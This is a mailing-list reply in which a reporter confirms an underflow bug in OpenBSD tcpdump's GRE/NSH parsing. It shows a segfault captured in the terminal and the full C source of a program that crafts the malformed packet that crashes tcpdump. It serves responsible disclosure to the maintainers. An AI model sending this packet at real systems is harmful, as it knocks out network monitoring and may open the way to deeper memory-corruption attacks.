On Mon, Feb 20, 2023 at 02:39:45PM +0100, p...@delphinusdns.org wrote:
> >Synopsis:    possible underflow in tcpdump/print-gre.c
> >Category:    user
> >Environment:
>       System      : OpenBSD 7.2
>       Details     : OpenBSD 7.2 (GENERIC.MP) #2: Thu Nov 24 23:53:03 MST 2022
>                        
> r...@syspatch-72-arm64.openbsd.org:/usr/src/sys/arch/arm64/compile/GENERIC.MP
> 
>       Architecture: OpenBSD.arm64
>       Machine     : arm64
> >Description:
>       In tcpdump/print-ether.c length is initialized as h->len (struct 
> pcap_pkthdr).
>       snapend is based on p + h->caplen (struct pcap_pkthdr), which is based 
> on 
>       snaplen.
> 
>       In tcpdump/print-gre.c u_int l is derived from snapend - p (line 123)
> and great care is taken that l does not underflow to the u_int maximum.
>       However length is not checked for underflow and it is possibly 
> initially        smaller than snapend - p (snaplen).  It is then passed to 
> other 
>       functions under line number 234.
>       
> >How-To-Repeat:
>       never tested in practice, code-reading only.
> >Fix:
>       length should be checked for underflow.  To do this save length at
>       start of function and then test this whether length increased since it
>       is u_int it will underflow into the high 2 billion region.


OK, I turned this around into practice.  It's not possible with most protocols
but with GRE and NSH it is possible to segfault tcpdump if the -v options is 
used (often much so the case, at least for me).  Here is a paste from my
tcpdump:

root@echo# 
and not port 587 and not port 853                                             <
tcpdump: listening on bse0, link-type EN10MB
10:20:29.998203 01:01:01:01:01:01 ff:ff:ff:ff:ff:ff 0800 290: 192.168.177.13 > 
255.255.255.255: gre [R] 984f off 0x0 (rtaf=0x0) NSH spi 0 si 0 md-type-reserved
    nsh-unknown-proto-0x00
Segmentation fault 
root@echo# history | tail -2
713     tcpdump -e -v -n -X -s 1000 -i bse0 not port 1022 and not port 465 and 
not port 443 and ip and not port 6697 and not port 25 and not port 80 and not 
port 8053 and not port 995 and not port 53 and not port 123 and not port 587 
and not port 853


I constructed the bad malicious packet with a spoofer that I wrote 22 years
ago.  How you spoof this packet is to me irrelevant, I can share the spoofer
only to @openbsd.org addressees (I may have shared it before).

Here is the program that makes the payload:

/* 
 cc -g -o payload payload.c, ./payload > payload.data
        ./cb -l em0 -R payload.data -v
*/


#include <sys/types.h>
#include <sys/socket.h>
#include <net/ethertypes.h>
#include <net/if_arp.h>
#include <netinet/in.h>
#include <netinet/ip.h>
#include <netinet/udp.h>
#include <net/if_gre.h>
#include <netinet/if_ether.h>
#include <arpa/inet.h>

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

/*
 * IP_CKSUM - compute the ones complement sum of the ones complement of 16 bit 
 *                        numbers
 */

int
ip_cksum(u_int16_t *p, int len)
{
        register int nleft = len;
        register u_int16_t *w = p;
        register int sum = 0;
        u_int16_t answer = 0;
        
        while (nleft > 1) {
                sum += *w++;
                nleft -= 2;
        }

        if (nleft == 1) {
                *(u_char *)(&answer) =  *(u_char *)w;
                sum += answer;
        }

        sum = (sum >> 16) + (sum & 0xffff);
        sum += (sum >> 16);

        answer = ~sum;
        return (answer);
}

#define SIZERED         0xe8

int
main(void)
{
        char packet[1024];
        struct ether_header *eth;
        struct ip *ip, *ip2;
        struct gre_h {
                uint16_t flags;
                uint16_t proto;
                uint16_t sum;
                uint16_t offset;
                uint16_t af;
                uint8_t sreoff;
                uint8_t srelen;
                char longp[SIZERED];
                uint16_t af2;
                uint8_t pad1;
                uint8_t pad2;
        } *gre;

        struct nsh_h {
                uint32_t base;
                uint32_t sp;
        } *nsh;


                        

        memset(&packet, 0, sizeof(packet));
        char *p = &packet[0];

        eth = (struct ether_header *)p;
        memset(p, 0xff, 6);
        memset(&eth->ether_shost[0], 0x1, 6);
        eth->ether_type = htons(ETHERTYPE_IP);
        p += sizeof(struct ether_header);
        ip = (struct ip *)p;
        ip->ip_hl = 5;
        ip->ip_v = 4;
        ip->ip_len = htons(sizeof(struct ip));

        ip->ip_ttl = 0xff;
        ip->ip_p = IPPROTO_GRE;
        ip->ip_sum = 0;
        ip->ip_dst.s_addr = inet_addr("255.255.255.255");
        ip->ip_src.s_addr = inet_addr("192.168.177.13");
        p += sizeof(struct ip);
        gre = (struct gre_h *)p;
        gre->flags = htons(0x4000);
        gre->proto = htons(ETHERTYPE_NSH);
        gre->sum = 0;
        gre->offset = 0;
        gre->af = 0;
        gre->sreoff = 0;
        gre->srelen = SIZERED;
        gre->af2 = 0;
        gre->pad1 = 0;
        gre->pad2 = 0;
        p += sizeof(struct gre_h);

        nsh = (struct nsh_h *)p;
        p += sizeof(struct nsh_h);

        ip->ip_sum = ip_cksum((u_int16_t *)ip, sizeof(struct ip));

        write(STDOUT_FILENO, packet, p - &packet[0]);
}


Best Regards,
-peter

Reply via email to